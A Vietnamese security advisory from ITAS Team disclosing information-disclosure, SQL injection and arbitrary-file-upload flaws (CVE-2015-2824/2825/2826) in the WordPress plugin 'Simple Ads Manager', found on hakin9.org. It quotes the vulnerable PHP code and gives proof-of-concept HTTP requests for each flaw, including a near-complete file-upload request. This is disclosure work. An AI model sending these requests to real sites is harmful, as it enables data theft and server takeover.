ITAS Team phát hiện nhiều lỗ hổng nguy hiểm trên tạp chí bảo mật hakin9.org
Lần thứ 2 trong hai năm, ITAS Security Team phát hiện và thông báo lỗ hỗng bảo mật được tìm thấy đến tạp chí HAKIN9 (hakin9.org). Sau khi thông báo tin tức về lỗ hổng cho HAKIN9, tạp chí đã tặng một tài khoản thuê bao tạp chí trọn đời cho các chuyên gia ITAS.
Tạp chí HAKIN9 là tạp chí về bảo mật nổi tiếng trên thế giới, được phát hành bởi Software Media LLC, Balan từ năm 2005 và phân phối tới các nước nói tiếng Anh. Nội dung tạp chí chuyên về bảo mật, tin tức và thông tin về các phương pháp hacking tấn công cũng như cách bảo vệ hệ thống, mạng và các ứng dụng. Các tạp chí đồng sở hữu bởi Software Media LCC bao gồm Hakin9 Magazine, Pentest Magazine, eForensics Magazine, Software Developer’s Journal, Hadoop Magazine, Java Magazine. Các tạp chí này được đánh giá là lâu đời và có nhiều bài viết được nhiều chuyên gia bảo mật trên thế giới đánh giá cao.
Theo như công bố của Hakin9, database của tạp chí có chứa thông tin của 100.000 IT security specialist, những chuyên gia này có nguy cơ đã bị lộ các thông tin cá nhân.
“Hakin9 is the biggest IT security magazine in the world, published for 10 years. We have a database of 100 000 IT security specialist.
Hakin9 magazine provides online visitors the exact information they need to stay up to date with the latest IT Security news and solutions and to learn what they can find on Hakin9′s pages. Our website is to help IT Security experts find out what new techniques and tools the hackers and crackers use and what we have prepared for you in the current issue.
It covers techniques of breaking into computer systems, defense and protection methods. Our magazine is useful for everyone interested in securing and hacking – both professionals (security officers, system administrators) and hobbyists.” (Hakin9 Facebook).
Các web site của tạp chí hakin9 đều được xây dựng trên nền tảng wordpress, đây là một CMS miễn phí, nhưng dễ sử dụng và phổ biến trên thế giới hiện nay, với rất nhiều plugin và theme miễn phí hoặc phải trả phí để sử dụng. Tuy nhiên, các plugin này nếu không kiểm tra kỹ trước khi sử dụng về bảo mật sẽ gây nên những lỗ hổng bảo mật nghiêm trọng.
Trong quá trình nghiên cứu bảo mật, các chuyên gia tại ITAS đã phát hiện nhiều lỗ hổng bảo mật trên website hakin9.org, pentestmag.com, eforensicsmag.com, trong plugin “Simple Ads Manager”. Các lỗ hổng này bao gổm Information Disclosure, SQL Injection, Arbitrary file upload, các hacker có thể sử dụng các lỗ hỗng bảo mật này để lấy toàn bộ thông tin của website, điều tồi tệ hơn nữa là thực thi các mã độc trên server và chiếm quyền điều khiển toàn bộ server.
Các chuyên gia ITAS đã cố gắng liên hệ với nhà sản xuất plugin để thông báo thông tin lỗ hổng nhiều lần kể cả thông báo qua forum của wordpress.org và trên chính website của nhà sản xuất nhưng đều không có hồi âm. Với lượng active plugin trên 20.000 lượt, các trang web sử dụng plugin này đang bị đặt trong tình trạng nguy hiểm.
1. Tiết lộ thông tin nhạy cảm (CVE-2015-2826)
Trong plugin này tại file wp-content/plugins/simple-ads-manager/sam-ajax.php các actions (load_users, load_authors, load_cats, load_tags, load_posts, posts_debug, load_stats,…) đều có thể tiết lộ thông tin cá nhân của người sử dụng.
POC:
+ REQUEST
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
action=load_users
2. SQL injection (CVE-2015-2824)
Trong phiên bản mới nhất (Phiên bản 2.5.94 và 2.5.96) vẫn còn các lỗ hổng SQL injection này.
SQL injection 1
Tập tin chứa mã lỗi: simple-ads-manager/sam-ajax.php, từ dòng 109 đến dòng 128
case ‘sam_ajax_sam_hits’:
if(isset($_POST[‘hits’]) && is_array($_POST[‘hits’])) {
$hits = $_POST[‘hits’];
$values = ”;
$remoteAddr = $_SERVER[‘REMOTE_ADDR’];
foreach($hits as $hit) {
$values .= ((empty($values)) ? ” : ‘, ‘) . “({$hit[1]}, {$hit[0]}, NOW(), 0, “{$remoteAddr}”)”;
}
$sql = “INSERT INTO $sTable (id, pid, event_time, event_type, remote_addr) VALUES {$values};”;
$result = $wpdb->query($sql);
if($result > 0) echo json_encode(array(‘success’ => true, ‘sql’ => $sql, ‘addr’ => $_SERVER[‘REMOTE_ADDR’]));
else echo json_encode(array(
‘success’ => false,
‘result’ => $result,
‘sql’ => $sql,
‘hits’ => $hits,
‘values’ => $values
));
}
break;
POC:
POST /wp-content/plugins/simple-ads-manager/sam-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 103
action=sam_hits&hits%5B0%5D%5B%5D=[SQL INJECTION HERE]&hits%5B0%5D%5B%5D=[SQL INJECTION HERE]&hits%5B1%5D%5B%5D=[SQL INJECTION HERE]&hits%5B1%5D%5B%5D=[SQL INJECTION HERE]&level=3
SQL injection 2
Tập tin chứa mã lỗi: simple-ads-manager/sam-ajax-admin.php, từ dòng 127 đến dòng 168
case ‘sam_ajax_load_combo_data’:
$page = $_GET[‘page’];
$rows = $_GET[‘rows’];
$searchTerm = $_GET[‘searchTerm’];
$offset = ((int)$page – 1) * (int)$rows;
$sql = “SELECT
wu.id,
wu.display_name AS title,
wu.user_nicename AS slug,
wu.user_email AS email
FROM
$uTable wu
WHERE wu.user_nicename LIKE ‘{$searchTerm}%’
ORDER BY wu.id
LIMIT $offset, $rows;”;
$users = $wpdb->get_results($sql, ARRAY_A);
$sql = “SELECT COUNT(*) FROM $uTable wu WHERE wu.user_nicename LIKE ‘{$searchTerm}%’;”;
$rTotal = $wpdb->get_var($sql);
$total = ceil((int)$rTotal/(int)$rows);
$out = array(
‘page’ => $page,
‘records’ => count($users),
‘rows’ => $users,
‘total’ => $total,
‘offset’ => $offset
);
break;
POC:
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=load_posts&cstr=[SQL INJECTION HERE]&sp=Post&spg=Page
Demonstration video
SQL Injection 3
Tập tin chứa mã lỗi: simple-ads-manager/sam-ajax-admin.php, từ dòng 225 đến dòng 255
case ‘sam_ajax_load_combo_data’:
$page = $_GET[‘page’];
$rows = $_GET[‘rows’];
$searchTerm = $_GET[‘searchTerm’];
$offset = ((int)$page – 1) * (int)$rows;
$sql = “SELECT
wu.id,
wu.display_name AS title,
wu.user_nicename AS slug,
wu.user_email AS email
FROM
$uTable wu
WHERE wu.user_nicename LIKE ‘{$searchTerm}%’
ORDER BY wu.id
LIMIT $offset, $rows;”;
$users = $wpdb->get_results($sql, ARRAY_A);
$sql = “SELECT COUNT(*) FROM $uTable wu WHERE wu.user_nicename LIKE ‘{$searchTerm}%’;”;
$rTotal = $wpdb->get_var($sql);
$total = ceil((int)$rTotal/(int)$rows);
$out = array(
‘page’ => $page,
‘records’ => count($users),
‘rows’ => $users,
‘total’ => $total,
‘offset’ => $offset
);
break;
POC:
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php?searchTerm=[SQL INJECTION HERE] HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
action=load_combo_data
SQL injection 4
Tập tin chứa mã lỗi: simple-ads-manager/sam-ajax-admin.php, từ dòng 188 đến dòng 223
case ‘sam_ajax_load_users’:
$roleSubscriber = (isset($_REQUEST[‘subscriber’])) ? urldecode($_REQUEST[‘subscriber’]) : ‘Subscriber’;
$roleContributor = (isset($_REQUEST[‘contributor’])) ? urldecode($_REQUEST[‘contributor’]) : ‘Contributor’;
$roleAuthor = (isset($_REQUEST[‘author’])) ? urldecode($_REQUEST[‘author’]) : ‘Author’;
$roleEditor = (isset($_REQUEST[‘editor’])) ? urldecode($_REQUEST[‘editor’]) : ‘Editor’;
$roleAdministrator = (isset($_REQUEST[“admin”])) ? urldecode($_REQUEST[“admin”]) : ‘Administrator’;
$roleSuperAdmin = (isset($_REQUEST[‘sadmin’])) ? urldecode($_REQUEST[‘sadmin’]) : ‘Super Admin’;
$sql = “SELECT
wu.id,
wu.display_name AS title,
wu.user_nicename AS slug,
(CASE wum.meta_value
WHEN 0 THEN ‘$roleSubscriber’
WHEN 1 THEN ‘$roleContributor’
WHEN 2 THEN ‘$roleAuthor’
ELSE
IF(wum.meta_value > 2 AND wum.meta_value <= 7, ‘$roleEditor’, IF(wum.meta_value > 7 AND wum.meta_value <= 10, ‘$roleAdministrator’, IF(wum.meta_value > 10, ‘$roleSuperAdmin’, NULL)
)
)
END) AS role
FROM $uTable wu
INNER JOIN $umTable wum
ON wu.id = wum.user_id AND wum.meta_key = ‘$userLevel’
ORDER BY wu.id;”;
$users = $wpdb->get_results($sql, ARRAY_A);
$k = 0;
foreach($users as &$val) {
$k++;
$val[‘recid’] = $k;
}
$out = $users;
break;
POC:
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: target.com
action=load_users&subscriber=[SQL INJECTION HERE]&contributor=[SQL INJECTION HERE]&author=[SQL INJECTION HERE]&editor=[SQL INJECTION HERE]&admin=[SQL INJECTION HERE]&sadmin=[SQL INJECTION HERE]
3. Upload file chứa mã độc (CVE-2015-2825)
Trong phiên bản 2.5.94 tại file /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php cũng tồn tại function upload (đã remove trong phiên bản 2.5.96) nhưng không được kiểm tra kỹ lưỡng đã dẫn đến hacker có thể upload trực tiếp mã độc lên web server.
Vulnerability file: simple-ads-manager/sam-ajax-admin.php, từ dòng 303 đến dòng 314
case ‘sam_ajax_upload_ad_image’:
if(isset($_POST[‘path’])) {
$uploadDir = $_POST[‘path’];
$file = $uploadDir . basename($_FILES[‘uploadfile’][‘name’]);
if ( move_uploaded_file( $_FILES[‘uploadfile’][‘tmp_name’], $file )) {
$out = array(‘status’ => “success”);
} else {
$out = array(‘status’ => “error”);
}
}
break;
POC:
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=—————————108989518220095255551617421026
Content-Length: 683
—————————–108989518220095255551617421026
Content-Disposition: form-data; name=”uploadfile”; filename=”info.php”
Content-Type: application/x-php
—————————–108989518220095255551617421026
Content-Disposition: form-data; name=”action”
upload_ad_image
—————————–108989518220095255551617421026—
Video Demonstration
Cảnh báo: Đối với những website đang sử dụng plugin “Simple Ads Manager” cần khẩn cấp gỡ bỏ plugin này để tránh các hacker khai thác và chỉ sử dụng plugin này sau khi nhà sản xuất khắc phục các lỗ hổng bảo mật.
Trần Đình Tiến (tien.d.tran@itas.vn), Lê Ngọc Phi (phi.n.le@itas.vn) and ITAS Team